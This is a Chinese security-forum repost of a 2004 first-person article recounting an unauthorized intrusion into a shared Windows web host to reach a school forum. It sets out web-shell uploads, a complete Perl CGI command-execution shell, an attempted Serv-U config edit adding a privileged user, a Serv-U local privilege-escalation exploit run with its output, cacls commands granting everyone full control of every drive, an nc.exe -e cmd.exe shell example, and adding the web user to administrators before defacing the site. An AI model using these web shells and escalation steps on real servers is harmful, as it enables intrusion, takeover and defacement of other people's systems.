找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1954|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ! x' c: i6 W- n' }' W7 X! V  U! j9 l
本文作者:angel
* R! o- Z3 ^) n6 t: N1 y文章性质:原创
: |1 ~/ X+ Q/ ]/ @1 T发布日期:2004-11-09
$ l7 m+ J2 a( R% v5 [; p9 I注意:
2 |( r1 j4 T. v3 j( T本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
7 i8 f; j; [0 J1 j; u% N- \本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。' v% r# n% K4 [$ \9 a' k
) K7 x) Z9 g2 q
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
: \" Y3 E3 d2 @+ z$ ~
# v; I& b1 y# D: z" e  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 * ?6 n3 m( M. I! t8 p. N8 G$ l
7 O' W5 Z& n# e* U' g6 G5 y
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
* |* h0 M0 Q& E/ e7 }+ _( q" z
. G( @7 b8 J/ W5 j  u/ F  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
7 V: ?% I% \$ n8 |: u
; z; b- u0 V: p& K  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
: N( w( H7 l- H' k& }3 e( B/ H
# p) M* e1 L  ]. Q7 t  没有目的的跳转目录着…… / |: q- B( m1 B# u; E! s* X

4 \( \2 p- v" U/ D* `$ {& ]6 ~  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… - _5 C+ }$ f  I  b' v4 \7 X

: c( `. z( _) m  Q0 L  结束了吗?不,我试着 FTP 一下:
/ U0 g: \5 ?* {' \0 J; O7 g' O8 \: j9 |( q, l
Microsoft Windows 2000 [Version 5.00.2195]( K- j1 R) N- T
(C) 版权所有 1985-2000 Microsoft Corp.
2 g) W( H7 c, p* V; _2 d6 |" A. g& o$ Q1 w- A
C:\Documents and Settings\Administrator>ftp www.school.com
4 i* N+ i  \8 hConnected to www. school.com. 8 }: r! ?7 \7 F, _
220 Welcome to FTP Server...
; Q+ \- G: C4 ?* ~- v1 `User (www.bjtrq.com:(none)): 5 C/ F& u: U# B" q6 M9 g) h
331 User name okay, need password. 6 B) J1 F; \# U, |; E
Password: " i: @: Q6 T5 b2 u5 q) G6 @, Q
530 Not logged in. , ~4 z$ e( {0 N( q7 Z( I: m( S6 H
Login failed. $ o- Y+ b0 N! i: h' w! w* J
ftp> bye
$ P( q* C4 V( K221 Goodbye! 6 C' T! m. g: s9 _6 O% h+ X

+ W$ N3 I3 }+ f+ P7 e( K6 r8 t8 U9 \
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… - c8 ?: D* M( I

& x1 {: Q7 Y4 Q" l0 k6 J+ [) R  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
: F: g( m7 M5 g4 J
; Y; U/ ]) _# E2 n$ wApplication Data
/ [# Q% Q6 i  e' C7 V9 cDocuments' f5 h- m8 e1 D- M7 m
DRM
: m, T2 ]% c/ O( d& U  }Favorites
8 S! ]; j) D1 s- m6 xTemplates/ H" D7 C2 j6 }$ l) @# l. V
「开始」菜单
! s' I  ?# A, A$ o桌面8 ~6 m% K4 |) h, N/ M1 P
: ]1 u8 {# K. a" [% G4 T' x, {

$ ]9 r: O4 o6 h  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, - p" y) w+ a" [% @; `, b  R2 I% k
0 B. s4 S1 o9 I2 P/ Y: O( _3 M. t% ]( u
ActiveState ActivePerl 5.8
! o- n: z0 O( ~. D7 oAdministrative Tools
# A2 G! U( }, LDeerfield.com: b0 X$ A" F9 }- _6 q( a
DTemp
/ o. y' ?6 R& ^! ~IPSentry8 y7 D* H7 x4 j- C2 C) ]7 U: [7 {
MBM 5
- y, F) s' e( ^+ X7 C2 LNetMeter
5 r2 _* m! c1 s8 G/ Z. R8 t* NNetwork ICE
; S5 c5 l( _" @8 [1 O* ZPersits Software AspEmail
3 K( m( g3 @2 [4 ^0 [Persits Software AspJpeg
+ ?+ x$ n3 t' |% y/ F9 K5 f+ t, FServ-U FTP Server
1 t2 ^+ b0 @. j+ C  mSymantec Client Security
; N# D$ q. L) J& v- C; v9 ]Windows 优化大师* E% O2 p7 K# n8 j
WinRAR
9 H. l; d4 ]  |4 c, m启动% A8 k5 U2 \$ i4 V/ [' S
管理工具/ |; B. {$ A/ H
附件1 j8 }* g- T) f* B6 ^9 F2 D
7 `  m% V- ~5 o, W6 z9 F1 a! c
! [8 _9 Y# X4 v( \* K
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 & M. u9 A1 x! n  @2 T3 P
4 C1 J% @# C2 p8 d
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 3 k1 s1 ~  ?# n. p6 g

4 |" `( J9 w; }. P, [: Y* lUser281=angel|1|0 2 ?( r' ~, A+ c; x" c9 H

) F. Z( b1 C. i. N, `/ F1 D% K
  然后加上 $ {" G" Y1 o# U

# O- d( N7 q/ E4 h, p[USER=angel|1]% a1 h/ I( |/ }- Z7 _& `( R4 b, M
Password=ng98F85379EA68DBF97BAADCA99B69B805& K9 ~+ f, H$ R
HomeDir=D:\websites; C! A; x/ H$ w" z" T
RelPaths=1
0 Y$ S  l" n% p3 M4 G1 }- h: vTimeOut=600
4 Z! C, I" N/ |- H" WMaintenance=System, h1 c5 e, r; A" w+ T0 z
Access1=D:\websites|RWAMELCDP6 `8 N. M/ C4 X/ V& S
SKEYValues=
/ [1 p1 K  p( d/ i; k7 {2 q
4 T" \# m6 z) W, g9 U$ Q; P% j4 u9 b* p( j/ b" m4 T
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 5 R: t) F8 e, T+ Z4 v+ K5 _

; L0 s  m, M  i  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
3 u! {  o  g" D- k% q/ K: x" f4 H& _0 t
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
! L* m" R+ r( j7 `0 i, f; {3 k* P& f2 O9 |- a# ]! \
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: # @# F  q+ y6 D, I. \( H

2 g4 D' j0 L, I# u2 o#!/usr/bin/perl
% _- \4 l. _3 T( |4 M: a) kbinmode(STDOUT);
$ H8 V$ F4 [# L: c/ F/ xsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);) A: |+ {/ q7 @) i
$_ = $ENV{QUERY_STRING};$ f4 R" j8 x; A) G) Y0 Z+ h3 y
s/%20/ /ig;
( ^3 g# [: l# k! J8 Js/%2f/\//ig;
8 }7 E" [! m- `4 a$execthis = $_;
6 {: U6 B  c; {. P3 i/ {. r  g& Qsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
2 [- s: U% i! ^6 U; U3 P+ Gopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
% Z9 A, a$ Z! j/ R$ Ksystem($execthis);7 }  u  I8 a( [+ N6 K% g$ }
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
* r2 V: E; K6 `0 S9 k5 d2 ^* l. {# wclose(STDERR);* I3 x0 }+ p# ?8 Y+ J
close(STDOUT);$ e! F* j. P6 E
exit;1 e! ?% }% {7 r2 a/ ]
5 l1 ]; X% Q4 r4 L5 k& Y

& G3 u6 S' |) a% ^* n) e; R* v; J  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
4 x/ z4 [* ?0 z
* I' I5 N, S0 q# y2 q) p0 c1 e' O& f  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: $ U8 g  t( `7 G% g( u

2 t8 l% _* v7 T# v0 {  U; ^http://anyhost//cmd.pl?d:\user\bin\su.exe
# j0 P) v7 I  M' l
# ]! T3 w! C1 Q5 d) w9 t( o
- N! S* w4 V% @: e2 L  N  返回: ) y- |7 P" ~# A! b  [0 V+ I
/ E. D$ y7 S: P- x+ o+ p' x
Serv-u >3.x Local Exploit by xiaolu $ U: L' H1 f; [2 c! S1 s

2 Z& P( V$ F; wUSAGE: serv-u.exe "command" 0 V" U) d4 R0 I  T# n: o7 `
2 S7 ?* K' g; {5 T. ?: N6 Z3 [
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ! V% r5 s) t" h' F

0 F  g9 L3 p; L" v' f2 @# t" \0 I  P* ?7 z
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
- D# D$ C* l- D! o3 \: a$ }9 ^, ]9 I+ @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ! i. C/ Q/ ]! n4 ~0 k) v9 Z
. m. U2 s+ o' _' o
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
3 S6 _# u6 N) V2 `  b2 Z: \; v6 Q* Q3 [7 Q% {; h
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
% }0 U  i  E' T7 x9 |$ ~6 N" g0 W1 Z" b  E& Q- r7 L
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
8 P" @) F6 k  Q) g+ G' ]5 Z
  f$ c9 ?7 f, C% N
+ \6 `# h8 J: j/ v) B, x6 O/ Y, R0 `  返回下面的信息,就表示成功了!!! ' j0 o$ d1 L; _+ a) n4 R9 [3 x% D

; w$ K1 @+ w3 a1 @, w$ v; I" m+ s5 ?+ WServ-u >3.x Local Exploit by xiaolu 4 O1 n1 R: f0 Y5 X) Z9 _9 \
* }" E' X7 l6 k6 ]! s
<220 Serv-U FTP Server v5.2 for WinSock ready...
3 l& v( r. K6 h
/ U( C. p1 {1 }& i& N' d' x3 W>USER LocalAdministrator : A" I' q5 ^5 A

- q/ X. z. j: C5 V- z1 _<331 User name okay, need password.   M0 r3 u4 b, G$ {

4 P% L! C( w" c+ G  _" v******************************************************
  ~& z. d' ]9 R/ y# k
1 b6 ^- ^/ O: [; l% G" l5 }>PASS #l@$ak#.lk;0@P
) e+ P5 Y6 e5 Q$ O# I/ f
9 p; R* p. x) A' G<230 User logged in, proceed. " ?' w0 h4 b+ |: J' ^) {! `

, \8 j! C" e) I; y******************************************************
  A3 Y; n# b! h) G
1 g" |1 X9 D, V( t/ o>SITE MAINTENANCE # d5 d! Q. D$ |8 Q4 h
: g8 u& W/ p: H
****************************************************** 3 f+ m2 \2 T8 @0 c( z
& G! q8 k) q1 z+ E  E
[+] Creating New Domain...
" Z1 I, I: p  F5 v7 \+ H6 u- }) e9 Y* Y, H+ |7 ~* Q$ a
<200-DomainID=2
2 {& ^& }+ O0 ?2 Y, j2 p6 _
7 J3 i& r% X5 H" M<220 Domain settings saved
9 \5 c2 S+ w* }1 k9 Y9 h4 I1 P0 \
9 O* T% b9 t. d% @2 y****************************************************** $ |, Y; q" Q3 E8 v; r' J

% k! G  n* {2 w[+] Domain xl:2 Created % A1 f0 s1 ~" s" {

2 l, E: N5 n7 d" s[+] Creating Evil User
7 F# x* r& @' a, y% C; t, A
8 p7 n# w+ l1 W# f: d<200-User=xl 4 w" O1 L8 |3 C$ _- [9 Y6 s: v& Z

! K" ?7 H% e0 ?6 }/ h+ K200 User settings saved
/ m( T! _  D! p$ ?( Y7 P! K, ^8 _  s6 Q1 V
******************************************************
4 e! Y0 G+ m6 R, }
7 l% x9 }/ i& K4 i8 x[+] Now Exploiting... # S. R$ ?) F3 p3 N* f

) ]# b5 D: T- g! M>USER xl 3 W$ w- I4 G$ X+ c) ^; o6 z
! o7 s' Q6 U# H4 f7 Z
<331 User name okay, need password. ( _% A) J8 {& h' T1 l: P" }

) |& ?  Z/ X/ y! w0 r8 I****************************************************** + K- b! d# L" j5 l% G( B

: C9 p- k9 a9 A5 H>PASS 111111
1 M- n, Q" L5 q* ^5 d& ?: U6 Z$ j4 i5 U
<230 User logged in, proceed. . z) c) F3 V% i) E
% O2 z9 Y5 k3 |- H4 Q* s
****************************************************** 7 d: k' y1 R! F6 K$ L! y

0 w. x# j+ u5 p2 l[+] Now Executing: cacls.exe c: /E /T /G everyone:F 2 d" H: O8 u- A- |! P4 D' X

9 |0 h1 M0 ^; d3 P<220 Domain deleted 9 J- a8 X( h9 k7 n# G; p' I$ T0 k+ n" ^

1 r$ k/ Y: D$ j( Q: C( v+ c****************************************************** , |+ |, m+ s) Q3 p; @$ b; s7 r

$ }- d$ ~4 \9 Z. ^1 {; q+ W0 f1 u" [
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
' d. t$ ~3 `: n6 G( O6 V0 Z$ X- l; h
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
2 P+ y" n+ g- `$ F3 _9 R' Y" i
# d+ v. f: _( _+ q/ T; y* d% G9 b1 f! V. L. D
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
* D( |0 r+ `5 ?: g/ M
( ~3 }" {) P) e& J" u2 h1 P  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
' v$ B, H: P- @
. W; A8 G) ]% U4 P6 D" J    D3 \# y0 K: y. ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表